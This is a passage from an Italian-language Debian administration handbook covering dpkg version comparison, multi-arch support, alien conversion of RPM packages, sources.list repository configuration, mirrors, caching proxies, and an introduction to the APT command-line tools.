Si noti il fallimento inatteso dell'ultimo confronto: per dpkg, pre, che normalmente indica un pre-rilascio, non ha alcun particolare significato e questo programma confronta i caratteri alfabetici nello stesso modo dei numeri (a <b <c ...) in ordine alfabetico. Questo è il motivo per cui "0pre3" è considerato maggiore di "0". Quando si vuole che un numero di versione di un pacchetto indichi che si tratta di un pre-rilascio, si deve usare il carattere tilde "~":

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. File di registro di dpkg

Una funzionalità introdotta recentemente in dpkg è che mantiene un registro di tutte le proprie azioni in /var/log/dpkg.log. Questo registro è estremamente prolisso, dal momento che contiene dettagli di ciascun stato attraverso cui passano i pacchetti gestiti da dpkg. Oltre a offrire un modo per tenere traccia del comportamento di dpkg, ciò aiuta, soprattutto, a mantenere una cronologia dello sviluppo del sistema: si può trovare il momento esatto in cui ciascun pacchetto è stato installato o aggiornato e queste informazioni possono essere estremamente utili nel comprendere un recente cambiamento di comportamento. Inoltre, siccome tutte le versioni sono registrate, è facile incrociare queste informazioni con il changelog.Debian.gz dei pacchetti in questione o anche con le segnalazioni di bug online.

5.4.5. Supporto Multi-Arch

Tutti i pacchetti Debian hanno un campo Architecture nelle loro informazioni di controllo. Questo campo può contenere tutti “all” (per i pacchetti indipendenti dalle architetture) oppure il nome dell'architettura per la quale è sviluppato il pacchetto (come “amd64”, “armhf”, …). In quest'ultimo caso, per impostazione predefinita, dpkg accetterà di installare il pacchetto solo se la sua architettura corrisponde a quella dell'host come restituito da dpkg --print-architecture.

Questa restrizione assicura che gli utenti non finiscano con binari compilati per un'architettura sbagliata. Tutto sarebbe perfetto, se non fosse che (alcuni) i computer possono eseguire binari per architetture multiple, sia nativamente (un sistema "amd64" può eseguire binari "i386") che attraverso emulatori.

5.4.5.1. Abilitazione Multi-Arch

Il supporto multi-arch di dpkg consente agli utenti di definire le "architetture esterne" che possono essere installate sul sistema corrente. Questo può essere fatto semplicemnete con dpkg --add-architecture come nell'esempio qui sotto. C'è un comando corrispondente per rimuovere il supporto ad un'architettura esterna che è dpkg --remove-architecture, ma può essere utilizzato solo quando non rimangono pacchetti di questa archietttura.

# dpkg --print-architecture

amd64

# dpkg --print-foreign-architectures

# dpkg -i gcc-8-base_8.3.0-6_armhf.deb

dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install):

package architecture (armhf) does not match system (amd64)

Errors were encountered while processing:

gcc-8-base_8.3.0-6_armhf.deb

# dpkg --add-architecture armhf

# dpkg --add-architecture armel

# dpkg --print-foreign-architectures

armhf

armel

# dpkg -i gcc-8-base_8.3.0-6_armhf.deb

(Reading database ... 14319 files and directories currently installed.)

Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ...

Unpacking gcc-8-base:armhf (8.3.0-6) ...

Setting up gcc-8-base:armhf (8.3.0-6) ...

# dpkg --remove-architecture armhf

dpkg: error: cannot remove architecture 'armhf' currently in use by the database

# dpkg --remove-architecture armel

# dpkg --print-foreign-architectures

armhf

SUGGERIMENTO Diagrammi di stato

APT rileverà automaticamente quando dpkg è stato configurato per supportare architetture differenti ed inizierà a scaricare i corrispondenti file dei Pacchetti durante il suo processo di aggiornamento.

I pacchetti esterni possono essere installati con apt install pacchetto:architettura.

IN PRATICA Uso dei binari proprietari i386 su amd64

Ci sono diversi casi di utilizzo di multi-arch, ma il più popolare è la possibilità di eseguire binari (talvolta proprietari) a 32 bit (i386) su sistemi a 64 bit (amd64), e la possibilità di cross-compilare software per una piattaforma o un'architettura diversa da quella ospitante.

5.4.5.2. Variazioni Relative a Multi-Arch

Per rendere multi-arch realmente utile ed utilizzabile, le librerie sono state riassemblate e spostate in una directory specifica per l'architettura in modo che possano essere installate, contemporaneamente, più copie (specifiche per diverse architetture). Tali pacchetti aggiornati contengono il campo header “Multi-Arch: same” per dire al sistema dei pacchetti che le varie architetture possono essere installate, insieme, in sicurezza (e che quei pacchetti possono soddisfare in modo sicuro solo le dipendenze dei pacchetti della stessa architettura). Le librerie più importanti sono state convertite dall'introduzione di multi-arch in Debian 7 Wheezy, ma ci sono molte librerie che, probabilmente, non saranno mai convertite a meno che qualcuno non lo richieda specificamente (per esempio attraverso una segnalazione di bug).

$ dpkg -s gcc-4.9-base

dpkg-query: error: --status needs a valid package name but 'gcc-4.9-base' is not: ambiguous package name 'gcc-4.9-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-4.9-base:amd64 gcc-4.9-base:armhf | grep ^Multi

Multi-Arch: same

Multi-Arch: same

$ dpkg -L libgcc1:amd64 |grep .so

/lib/x86_64-linux-gnu/libgcc_s.so.1

$ dpkg -S /usr/share/doc/gcc-4.9-base/copyright

gcc-4.9-base:amd64, gcc-4.9-base:armhf: /usr/share/doc/gcc-4.9-base/copyright

Vale la pena notare che i pacchetti Multi-Arch: same devono avere i nomi che identificano le loro architetture per essere identificati senza ambiguità. Essi hanno anche la possibilità di condividere i file con altre istanze dello stesso pacchetto; dpkg assicura che tutti i pacchetti abbiano dei file identici bit-per-bit quando sono condivisi. Infine, tutte le istanze di un pacchetto devono avere la stessa versione. Essi devono quindi essere aggiornati insieme.

Il supporto multi-Arch portacon sè anche alcune sfide interessanti nel modo in cui sono gestite le dipendenze. Soddisfare una dipendenza richiede o un pacchetto contrassegnato come “Multi-Arch: foreign” o un pacchetto la cui architettura corrisponde a quella del pacchetto del quale dichiara la dipendenza (in questo processo di risoluzione delle dipendenze, i pacchetti architettura-indipendenti si presume che siano della stessa architettura dell'host). Una dipendenza può anche essere indebolita per consentire a qualsiasi architettura di soddisfarla, con la sintassi package:any, ma i pacchetti esterni sono in grado di soddisfarla solo se sono contrassegnati come “Multi-Arch: allowed”.

5.5. Coesistenza con Altri Sistemi di Pacchetti

I pacchetti Debian non son gli unici pacchetti software usati nel monto del software libero. Il concorrente principale è il formato RPM per Red Hat Linux e le sue molte derivate. Red Hat è una distribuzione commerciale molto popolare. È comune che il software fornito da terze parti sia offerto come pacchetti RPM invece che Debian.

In questo caso, si deve sapere che il programma rpm, che gestisce pacchetti RPM, è disponibile come pacchetto Debian, così è possibile usare questo formato di pacchetti su Debian. Si dovrebbe fare attenzione, comunque, a limitare queste manipolazioni all'estrazione di informazioni da un pacchetto o alla verifica della sua integrità. In realtà non è ragionevole usare rpm per installare un RPM su un sistema Debian; RPM usa un proprio database, separato da quello del software nativo (come dpkg). Questo è il motivo per cui non è possibile assicurare una coesistenza stabile dei due sistemi di pacchetti.

D'altra parte, l'utilità alien può convertire pacchetti RPM in pacchetti Debian e viceversa.

COMUNITÀ Incoraggiare l'adozione di .deb

Se si usa abitualmente il programma alien per installare pacchetti RPM provenienti da uno dei vostri fornitori, non esitare a scrivergli esprimendo amichevolmente la forte preferenza per il formato .deb. Si noti che il formato del pacchetto non è tutto: un pacchetto .deb creato con alien o preparato per una versione differente di Debian rispetto a quella in uso, o per una versione derivata come Ubuntu, probabilmente non offrirà lo stesso livello di qualità e di integrazione di un pacchetto sviluppato specificamente per Debian Buster.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm

phpmyadmin_4.7.5-3_all.deb generated

$ ls -s phpmyadmin_4.7.5-3_all.deb

4356 phpmyadmin_4.7.5-3_all.deb

Questo procedimento è estremamente semplice. Si deve sapere, però, che il pacchetto generato non ha alcuna informazione sulle dipendenze, dal momento che le dipendenze nei due formati di pacchetti non hanno una corrispondenza sistematica. L'amministratore, perciò, deve assicurare manualmente che il pacchetto convertito funzioni correttamente e questo è il motivo per cui i pacchetti Debian generati in questo modo dovrebbe essere evitati il più possibile. Fortunatamente, Debian ha la più grande raccolta di pacchetti software rispetto a tutte le distribuzioni ed è probabile che qualunque cosa si cerchi ci sia già.

Guardando la pagina di manuale per il comando alien, si noterà che questo programma gestisce anche altri formati di pacchetti, specificamente quello della distribuzione Slackware (è composto da un semplice archivio tar.gz).

La stabilità del software installato usando lo strumento dpkg contribuisce alla fama di Debian. La suite di strumenti APT, descritta nel capitolo seguente, mantiene questo vantaggio, sollevando l'amministratore dal gestire lo stato dei pacchetti, un compito necessario, ma difficile.

Capitolo 6. Manutenzione ed aggiornamento: gli strumenti APT

Ciò che rende così popolare Debian tra gli amministratori è la facilità con cui il software può essere installato e la facilità con cui l'intero sistema può essere aggiornato. Questo vantaggio è dovuto in gran parte al programma APT, che gli amministratori di Falcot Corp hanno studiato con entusiasmo.

APT è l'abbreviazione di Advanced Package Tool (Strumento avanzato per i pacchetti). Ciò che rende questo programma «avanzato» è il suo approccio ai pacchetti. Non li valuta singolarmente, ma li considera nel loro insieme e produce la migliore combinazione possibile di pacchetti in base a ciò che è disponibile e compatibile (secondo le dipendenze).

VOCABOLARIO Sorgente di un pacchetto e pacchetto sorgente

La parola sorgente può essere ambigua. Un "pacchetto sorgente", un pacchetto contenente il codice sorgente di un programma, non dev'essere confuso con la "sorgente o fonte di un pacchetto", un archivio (sito web, server FTP, CD-ROM, cartella locale, ecc.) nel quale sono contenuti i pacchetti.

APT ha bisogno di ricevere una "lista di sorgenti dei pacchetti (repository)": il file /etc/apt/sources.list elencherà i diversi repository che pubblicano i pacchetti Debian. APT importerà la lista dei pacchetti pubblicati da ciascuna di queste fonti. Questo risultato si ottiene scaricando i file Packages.xz o una variante come Packages.gz o .bz2 (che usa un diverso metodo di compressione) nel caso di una fonte di pacchetti binari e analizzando il loro contenuto. Nel caso di un'origine di pacchetti sorgente, APT scarica i file Sources.xz o una variante che utilizza un metodo di compressione diverso. Quando una vecchia copia di questi file è già presente, APT può aggiornarla scaricando solo le differenze (vedere SUGGERIMENTO Aggiornamento incrementale).

FONDAMENTALI Compressione gzip, bzip2, LZMA e XZ

L'estensione .gz si riferisce ad un file compresso con lo strumento gzip. gzip è lo strumento Unix tradizionale, veloce ed efficiente per la compressione di file. I nuovi strumenti consentono di ottenere migliori tassi di compressione, ma richiedono più risorse (tempo di calcolo e memoria) per comprimere un file. Tra questi, in ordine di apparizione, ci sono bzip2 (che genera file con estensione .bz2), lzma (che genera file con estensione .lzma) e xz (che genera file con estensione .xz).

6.1. Compilazione del file sources.list

6.1.1. Sintassi

Ogni linea attiva nel file /etc/apt/sources.list rappresenta una sorgente di pacchetti (repository) ed è composta da almeno tre parti separate da spazi. Per una descrizione completa del formato del file e delle composizioni accettate, vedere sources.list(5).

Esempio 6.1. Esempio di formato voce in /etc/apt/sources.list

deb url distribuzione componente1 componente2 componente3 [..] componenteX

deb-src url distribuzione componente1 componente2 componente3 [..] componenteX

Il primo campo indica il tipo di sorgente:

deb

sorgente pacchetti (repository) di pacchetti binari

deb-src

sorgente pacchetti (repository) di pacchetti sorgente

Il secondo campo fornisce l'URL di base del sorgente. Combinato con i nomi dei file presenti all'interno di Packages.xz, deve dare un URL completo e valido. Questo può consistere in un mirror Debian o in qualsiasi altro archivio di pacchetti creato da terzi. L'URL può iniziare con file:// per indicare una sorgente locale installata nella gerarchia dei file del sistema, con http:// o https:// per indicare una sorgente accessibile su un server web, o con ftp:// o ftps:// per una sorgente disponibile su un server FTP. L'URL può anche iniziare con cdrom: per installazioni basate su dischi CD-ROM/DVD/Blu-ray, anche se questo è meno frequente, dato che le installazione di rete sono sempre più comuni.

La sintassi dell'ultimo campo dipende dalla struttura del repository. Nel caso più semplice, basterà indicare una sottodirectory (con una barra finale obbligatoria) della fonte desiderata. Questo è, spesso, un semplice "./" che si riferisce all'assenza di una sottodirectory. I pacchetti sono quindi direttamente all'URL specificato. Ma nel caso più comune, i repository saranno strutturati come un mirror Debian, con più distribuzioni, ciascuna con più componenti. In questi casi, denominare la distribuzione scelta con il suo "nome in codice" — vedere la lista nel riquadro COMUNITÀ Bruce Perens, un leader controverso — o con la corrispondente "suite" (oldstable, stable, testing, unstable) seguito dai componenti da abilitare. Un tipico mirror Debian fornisce i componenti main, contrib e non-free.

VOCABOLARIO Gli archivi main, contrib e non-free

Debian usa tre componenti per differenziare i pacchetti in base alle licenze scelte dagli autori di ogni lavoro. Main raccoglie tutti i pacchetti che rispettano pienamente le Linee Guida Debian per il Software Libero.

Il componente non-free è diverso perché contiene software che non è (pienamente) conforme a questi principi ma che può, nonostante ciò, essere distribuito senza restrizioni. Questo archivio, che non fa ufficialmente parte di Debian, è un servizio per gli utenti che potrebbero aver bisogno di alcuni di questi programmi e, al giorno d'oggi, anche del firmware per il loro hardware. Tuttavia, Debian raccomanda sempre di dare priorità al software libero. L'esistenza di questo componente rappresenta, per Richard M. Stallman, un problema considerevole e fa sì che la Free Software Foundation non raccomandi Debian agli utenti.

Contrib (contributi) è un insieme di software open source che non può funzionare senza alcuni elementi non liberi — questi elementi possono essere software della sezione non-free, oppure file non liberi come le ROM di giochi, BIOS di console, ecc. — o alcuni elementi, non disponibili dall'archivio Debian main. Il componente Contrib include anche il software libero la cui compilazione richiede elementi proprietari. Questo è stato inizialmente il caso della suite per l'ufficio OpenOffice.org, che richiedeva un ambiente Java proprietario.

SUGGERIMENTO File in /etc/apt/sources.list.d/

Se si fa riferimento a molte sorgenti di pacchetti, può essere utile dividerle in più file. Ogni parte viene quindi conservata in /etc/apt/sources.list.d/nomefile.list (vedere il riquadro FONDAMENTALI Directory terminanti in .d).

Le voci cdrom descrivono i CD/DVD-ROM che si possiedono. Contrariamente alle altre voci un CD-ROM non è sempre disponibile in quanto deve essere inserito nell'unità e dato che può essere letto solo un disco alla volta. Per questi motivi, queste sorgenti sono gestite in maniera leggermente differente e devono essere aggiunte con il programma apt-cdrom, solitamente eseguito con il parametro add. Quest'ultimo chiederà di inserire il disco nel lettore e cercherà nel contenuto alla ricerca dei file Packages. Questi file saranno usati per aggiornare il database dei pacchetti disponibili (questa operazione di norma è fatta dal comando apt update). Da quel momento in poi, APT può richiedere di inserire il disco se avrà bisogno di uno dei suoi pacchetti.

6.1.2. Repository per gli utenti di Stable

Questo è un sources.list per un sistema che utilizza la versione Stable di Debian:

Esempio 6.2. File /etc/apt/sources.list per gli utenti di Debian Stable

# Security updates

deb http://security.debian.org/ buster/updates main contrib non-free

deb-src http://security.debian.org/ buster/updates main contrib non-free

## Debian mirror

# Base repository

deb https://deb.debian.org/debian buster main contrib non-free

deb-src https://deb.debian.org/debian buster main contrib non-free

# Stable updates

deb https://deb.debian.org/debian buster-updates main contrib non-free

deb-src https://deb.debian.org/debian buster-updates main contrib non-free

# Stable backports

deb https://deb.debian.org/debian buster-backports main contrib non-free

deb-src https://deb.debian.org/debian buster-backports main contrib non-free

Questo file elenca tutte le fonti dei pacchetti associati alla versione Buster di Debian (l'attuale suite Stable al momento in cui scriviamo). Nell'esempio sopra, abbiamo scelto di utilizzare esplicitamente "buster" invece di usare i corrispondenti alias "stable" (stable, stable-updates, stable-backports) perché non vogliamo che la distribuzione sottostante venga modificata a nostra insaputa quando uscirà la prossima versione stabile.

La maggior parte di pacchetti proviene dal «repository base» che contiene tutti i pacchetti ma che viene aggiornato di rado (circa una volta ogni 2 mesi per un «rilascio minore»). Gli altri repository sono parziali (non contengono tutti i pacchetti) e possono ospitare aggiornamenti (pacchetti con versioni più recenti) che APT può installare. Le sezioni seguenti spiegheranno lo scopo di ognuno di questi repository e le regole che lo governano.

Notare che, quando la versione desiderata di un pacchetto è disponibile su diversi repository, verrà usato quello elencato per primo nel file sources.list. Per questa ragione, le sorgenti non ufficiali vengono solitamente aggiunte alla fine del file.

Notare anche che la maggior parte di ciò che questa sezione dice riguardo a Stable vale allo stesso modo per Oldstable, dato che quest'ultima non è altro che una più vecchia versione Stable che viene mantenuta in parallelo.

6.1.2.1. Aggiornamenti di sicurezza

Debian prende sul serio la sicurezza. Le vulnerabilità software note in Debian vengono monitorate nel Security Bug Tracker e di solito vengono corrette in un lasso di tempo ragionevole. Gli aggiornamenti di sicurezza non vengono ospitati sulla solita rete di mirror Debian ma in security.debian.org (un piccolo insieme di macchine mantenute dai Debian System Administrator). Questo archivio contiene aggiornamenti di sicurezza preparati dal Team di Sicurezza Debian e/o dai manutentori di pacchetti per la distribuzione Stable e Oldstable.

Il server può anche ospitare aggiornamenti di sicurezza per Testing, ma ciò non accade molto spesso dato che questi aggiornamenti tendono a raggiungere la suite Testing attraverso il regolare flusso di aggiornamenti che proviene da Unstable.

Per problemi gravi, il team di sicurezza rilascia un Debian Security Advisory (DSA) e lo annuncia insieme all'aggiornamento della sicurezza sulla mailing list <debian-security-announce@lists.debian.org> (archive).

6.1.2.2. Aggiornamenti di Stable

Gli aggiornamenti di Stable non sono relativi alla sicurezza, ma vengono considerati sufficientemente importanti da essere passati agli utenti prima del successivo rilascio minore di stable.

Questo repository contiene tipicamente correzioni di bug critici e gravi che non è stato possibile risolvere prima del rilascio o che sono stati introdotti da aggiornamenti successivi. A seconda dell'urgenza, può anche contenere aggiornamenti per pacchetti che devono evolvere nel tempo, come le regole di rilevamento dello spam di spamassassin, il database dei virus di clamav, le regole dell'ora legale di tutti i fusi orari (tzdata), la versione ESR di Firefox (firefox-esr) o i portachiavi crittografici come debian-archive-keyring.

In pratica, questo repository è un sottoinsieme del repository proposed-updates, accuratamente selezionato dal team Stable Release Manager. Tutti gli aggiornamenti sono annunciati nella mailing list <debian-stable-announce@lists.debian.org> (archive) e saranno comunque inclusi nel successivo aggiornamento minore della Stable.

deb https://deb.debian.org/debian buster-updates main contrib non-free

6.1.2.3. Aggiornamenti proposti

Una volta pubblicata, la distribuzione Stable viene aggiornata solo ogni 2 mesi circa. Il repository proposed-updates è il luogo in cui gli aggiornamenti pianificati vengono preparati (sotto la supervisione dei Stable Release Manager).

Gli aggiornamenti di sicurezza e quelli di stable documentati nelle sezioni precedenti sono sempre inclusi in questo repository, ma c'è anche di più, perché i manutentori di pacchetti hanno anche l'opportunità di risolvere importanti bug che non meritano un rilascio immediato.

Chiunque può usare questo repository per testare tali aggiornamenti prima della loro pubblicazione ufficiale. L'esempio che segue usa l'alias buster-proposed-updates che è, sia più esplicito sia più coerente, dato che esiste anche stretch-proposed-updates (per gli aggiornamenti di Oldstable):

deb https://deb.debian.org/debian buster-proposed-updates main contrib non-free

6.1.2.4. Backport per Stable

Il repository stable-backports ospita i «backport di pacchetti». Questa espressione si riferisce ad un pacchetto di un qualche software recente che è stato ricompilato per una distribuzione più vecchia, generalmente per Stable.

Quando la distribuzione diventa un po' datata, numerosi progetti software hanno rilasciato nuove versioni che non sono integrate nell'attuale suite Stable (che è modificata solo per risolvere i problemi più critici, come quelli di sicurezza). Dal momento che le suite Testing e Unstable possono essere più rischiose, i manutentori dei pacchetti, a volte, offrono volontariamente ricompilazioni di applicazioni software recenti per Stable, che offre il vantaggio ad utenti e amministratori di sistema di limitare la potenziale instabilità di un piccolo numero di pacchetti scelti. La pagina https://backports.debian.org fornisce maggiori informazioni.

I backport da stable-backports sono creati solo per i pacchetti disponibili in Testing. Ciò assicura che tutti i backport installati saranno aggiornabili alla corrispondente versione stabile, una volta che sarà disponibile il successivo rilascio stabile di Debian.

Anche se questo repository fornisce versioni più recenti dei pacchetti, APT non le installerà a meno che non venga esplicitamente istruito per farlo (a meno che non lo si abbia già fatto per una versione precedente dello specifico backport in questione):

$ sudo apt-get install pacchetto/buster-backports

$ sudo apt-get install -t buster-backports pacchetto

6.1.3. Repository per gli utenti di Testing/Unstable

Questo è un file sources.list standard per un sistema che utilizza la versione Testing o Unstable di Debian:

Esempio 6.3. File /etc/apt/sources.list per gli utenti di Debian Testing/Unstable

# Unstable

deb https://deb.debian.org/debian unstable main contrib non-free

deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing

deb https://deb.debian.org/debian testing main contrib non-free

deb-src https://deb.debian.org/debian testing main contrib non-free

# Testing security updates

deb http://security.debian.org/ testing-security main contrib non-free

deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable

deb https://deb.debian.org/debian stable main contrib non-free

deb-src https://deb.debian.org/debian stable main contrib non-free

# Stable security updates

deb http://security.debian.org/ stable/updates main contrib non-free

deb-src http://security.debian.org/ stable/updates main contrib non-free

NOTA Layout dei repository di sicurezza

A partire da Debian 11 Bullseye, il nome in codice del repository che fornisce gli aggiornamenti di sicurezza è stato rinominato da nome in codice/updates in nome in codice-security per evitare confusione con nome in codice-updates (see Sezione 6.1.2.2, «Aggiornamenti di Stable»).

Con questo file sources.list, APT installerà i pacchetti dalla suite Unstable. Se questo non è ciò che si desidera, usare l'impostazione APT::Default-Release (vedere la Sezione 6.2.3, «Aggiornamento del sistema») per indicare ad APT di scegliere i pacchetti da un'altra suite (in questo caso, molto probabilmente, Testing .

Ci sono buone ragioni per includere tutti questi repository, anche se uno solo dovrebbe essere sufficiente. Gli utenti di Testing apprezzeranno la possibilità di scegliere individualmente un particolare pacchetto da Unstable quando la versione in Testing è affetta da un bug noioso. D'altro canto, gli utenti di Unstable colpiti da regressioni inaspettate hanno la possibilità di retrocedere pacchetti alla loro versione in Testing (che si suppone funzionante).

L'inclusione di Stable è più discutibile ma, spesso, dà accesso ad alcuni pacchetti che sono stati rimossi dalle versioni di sviluppo. Assicura, inoltre, di ottenere i più recenti aggiornamenti per i pacchetti che non sono stati modificati dall'ultimo rilascio stabile.

6.1.3.1. I repository Experimental

L'archivio dei pacchetti Experimental è presente in tutti i mirror Debian, e contiene i pacchetti che non sono ancora nella distribuzione Unstable a causa della loro qualità inferiore agli standard — spesso sono versioni di sviluppo o pre-versioni (alfa, beta, candidata al rilascio...). Un pacchetto può anche essere inserito lì dopo aver subito modifiche che possono generare problemi. Il manutentore quindi cerca di scoprirli grazie all'aiuto di utenti esperti in grado di gestire problemi importanti. Dopo questa prima fase, il pacchetto viene spostato in Unstable, dove raggiunge un pubblico molto più grande e dove verrà testato in modo molto più dettagliato.

Experimental è generalmente usata dagli utenti a cui non importa rovinare il proprio sistema e ripararlo. Questa distribuzione offre la possibilità di importare un pacchetto che un utente vuol provare o utilizzare in caso di necessità. Questo è esattamente come Debian lo tratta, in quanto aggiungerlo nel file sources.list di APT non porta all'uso sistematico dei suoi pacchetti. La riga da aggiungere è:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Utilizza mirror alternativi

Gli esempi di sources.list in questo capitolo fanno riferimento ai repository dei pacchetti ospitati su deb.debian.org. Questi URL ti reindirizzano a server a te vicini che sono gestiti da Content Delivery Network (CDN) il cui ruolo principale è quello di memorizzare più copie dei file in tutto il mondo, e di consegnarli il più velocemente possibile agli utenti. Le società CDN con cui Debian sta lavorando sono partner di Debian ed offrono, gratuitamente, i loro servizi a Debian. Poichè nessuno di questi server è sotto il controllo diretto di Debian, il fatto che l'intero archivio sia validato da firme GPG lo rende un non problema.

Gli utenti più esigenti, non soddisfatti delle prestazioni di deb.debian.org, possono provare a cercare un mirror migliore nell'elenco dei mirror ufficiali:

→ https://www.debian.org/mirror/list

Ma quando non sai quale mirror è il migliore per te, questa lista non è di grande aiuto. Fortunatamente, Debian mantiene le voci DNS nel formato ftp. country-code.debian.org (ad esempio ftp.us.debian.org per gli Stati Uniti, ftp.fr.debian.org per la Francia, ecc.) che coprono molti paesi e che puntano a uno (o più) dei migliori mirror disponibili all'interno di quel paese.

In alternativa a deb.debian.org, c'era httpredir.debian.org. Questo servizio identificava un mirror vicino a te (tra la lista dei mirror ufficiali, usando principalmente il GeoIP) e reindirizzava le richieste di APT a quel mirror. Questo servizio è stato deprecato a causa di problemi di affidabilità e ora httpredir.debian.org fornisce lo stesso servizio basato su CDN di deb.debian.org.

6.1.5. Risorse Non Ufficiali: mentors.debian.net

Ci sono numerose fonti, non ufficiali, di pacchetti Debian create da utenti esperti che hanno ricompilato alcuni software — Ubuntu ha reso questo sistema popolare con il suo servizio Personal Package Archive (PPA) — che i programmatori mettono a disposizione di tutti, e anche da parte di sviluppatori Debian che offrono, online, anteprime dei loro pacchetti.

Il sito mentors.debian.net è interessante (anche se fornisce solo pacchetti sorgente), dal momento che raccoglie pacchetti creati dai candidati allo status di sviluppatore ufficiale Debian o da volontari che vogliono creare pacchetti Debian senza passare attraverso quel processo di integrazione. Questi pacchetti sono messi a disposizione senza alcuna garanzia sulla loro qualità; assicurarsi di verificare la loro origine ed integrità, quindi testarli prima di considerare il loro utilizzo in produzione.

COMUNITÀ I siti debian.net

Il dominio debian.net non è una risorsa ufficiale del progetto Debian. Ogni sviluppatore Debian può usare quel nome di dominio per i propri scopi. Questi siti possono contenere servizi non ufficiali (a volte siti personali) ospitati su una macchina che non appartiene al progetto e non è stata configurata da sviluppatori Debian, o anche prototipi che stanno per essere spostati su debian.org. Due ragioni possono spiegare perché questi prototipi rimangono su debian.net: o nessuno ha fatto lo sforzo necessario per trasformarli in servizi ufficiali (ospitati sul dominio debian.org e con una certa garanzia di mantenimento) o il servizio è troppo controverso per essere ufficializzato.

Installare un pacchetto significa dare i privilegi di root al suo creatore, perché può decidere i contenuti degli script di inizializzazione i quali sono lanciati sotto tale identità. I pacchetti Debian ufficiali sono creati da volontari che sono stati selezionati e vagliati e che possono mettere un sigillo ai loro pacchetti così che la loro origine e integrità possa essere controllata.

In generale, diffidare di un pacchetto di cui non si conosce l'origine e che non è ospitato su uno dei server Ufficiali Debian: valutare fino a che punto è possibile fidarsi del creatore e verificare l'integrità del pacchetto.

APPROFONDIMENTO Le vecchie versioni dei pacchetti: snapshot.debian.org

Il servizio snapshot.debian.org, introdotto nell'Aprile 2010, può essere usato per "andare indietro nel tempo" e trovare una vecchia versione di un pacchetto non più presente negli archivi Debian. Può essere usato, per esempio, per identificare quale versione di un pacchetto ha introdotto una regressione e, più concretamente, tornare indietro alla versione precedente mentre si aspetta una correzione al problema.

6.1.6. Proxy con cache per i pacchetti Debian

Quando un'intera rete di macchine è configurata in moda da usare lo stesso server remoto per scaricare gli stessi pacchetti aggiornati, qualsiasi amministratore sa che sarebbe vantaggioso avere un proxy intermedio che agisce da cache locale per la rete (vedere il riquadro VOCABOLARIO Cache).

Si può configurare APT in modo che usi un proxy «standard» (vedere la Sezione 6.2.4, «Opzioni di configurazione» per la parte riguardante APT e la Sezione 11.6, «Proxy HTTP/FTP» per la parte proxy), ma l'ecosistema Debian offre opzioni migliori per risolvere il problema. Il software dedicato presentato in questa sezione è più intelligente di un semplice proxy con cache perché può fare affidamento sulla struttura specifica dei repository APT (per esempio sa quando singoli file sono obsoleti oppure no, e perciò regola il tempo per il quale vengono conservati).

apt-cacher e apt-cacher-ng funzionano come i normali server proxy con cache. Il file sources.list di APT resta invariato, ma APT viene configurato in modo da usarli come proxy per le richieste in uscita.

approx, invece, agisce come un server HTTP che fa da "mirror" per qualsiasi numero di repository remoti nei suoi URL di più alto livello. La mappatura tra queste directory di più alto livello e gli URL remoti dei repository viene memorizzata in /etc/approx/approx.conf:

# <name> <repository-base-url>

debian   http://ftp.debian.org/debian

security http://security.debian.org

approx viene eseguito in modo predefinito sulla porta 9999 tramite un socket systemd e richiede che gli utenti modifichino il proprio file sources.list in modo che punti al server approx:

# Esempio di sources.list che punta ad un server approx locale

deb http://localhost:9999/security buster/updates main contrib non-free

deb http://localhost:9999/debian buster main contrib non-free

6.2. I Comandi aptitude, apt-get, e apt

APT è un progetto vasto, i cui piani originali includevano un'interfaccia grafica. Si basa su una libreria che contiene l'applicazione principale e apt-get è stato il primo front-end, a riga di comando, che è stata sviluppato nell'ambito del progetto. apt è un secondo front-end a riga di comando fornito da APT che supera alcuni errori di progettazione di apt-get.

Entrambi gli strumenti sono basati sulla stessa libreria e sono quindi molto simili, ma il comportamento predefinito di apt è stato migliorato per un uso interattivo e per fare effettivamente ciò che la maggior parte degli utenti si aspetta. Gli sviluppatori di APT si riservano il diritto di cambiare l'interfaccia pubblica di questo strumento per migliorarlo ulteriormente. Al contrario, l'interfaccia pubblica di apt-get è ben definita e non cambierà in alcun modo che la renda incompatibile all'indietro. È quindi lo strumento da preferire quando si ha bisogno di scrivere richieste di installazione di pacchetti.

Numerose altre interfacce grafiche sono apparse come progetti esterni: synaptic, aptitude (che include sia un'interfaccia in modalità testo che una grafica, anche se non ancora completa), wajig, ecc. L'interfaccia consigliata, apt, è quella che useremo negli esempi riportati in questa sezione. Si noti, comunque, che apt-get e aptitude hanno una sintassi della linea di comando molto simile. Quando ci saranno grandi differenze fra questi tre comandi, essere saranno dettagliate.

6.2.1. Inizializzazione

Per qualsiasi lavoro con APT, la lista dei pacchetti disponibili deve essere aggiornata; questo può essere fatto semplicemente attraverso apt update. A seconda della velocità della connessione e della configurazione, l'operazione può richiedere un po' di tempo, visto che deve scaricare un certo numero di file Packages/Sources/Translation-language-code, che sono gradualmente diventati sempre più grandi mano a mano che Debian si è sviluppata (almeno 10 MB di dati per la sezione main). Ovviamente, installare da un insieme di CD-ROM/DVD non richiede di scaricare nulla — in questo caso, l'operazione è molto veloce.

SUGGERIMENTO Aggiornamento incrementale

L'obiettivo del comando apt update è quello di scaricare per ogni sorgente del pacchetto il corrispondente file Packages (o Sources). Tuttavia, anche dopo la compressione con xz, questi file possono essere piuttosto grandi (il Packages.bz2 per la sezione main di Buster occupa più di 7 MB). Se si desidera fare aggiornamenti regolarmi, questi dati possono richiedere molto tempo.

Per velocizzare il processo, APT può scaricare file «diff» contenenti le modifiche rispetto al precedente aggiornamento, invece che l'intero file. Per raggiungere questo obiettivo, i mirror Debian ufficiali distribuiscono diversi file che elencano le differenze fra una versione del file Packages e la versione successiva. Sono generati ad ogni aggiornamento degli archivi e viene mantenuto uno storico di una settimana. Ognuno di questi file «diff» occupa solo poche decine di kilobyte per Unstable, in modo che la quantità di dati scaricati con un apt update settimanale sia spesso divisa per 10. Per Stable e Testing, che variano di meno, il guadagno è ancora più evidente.

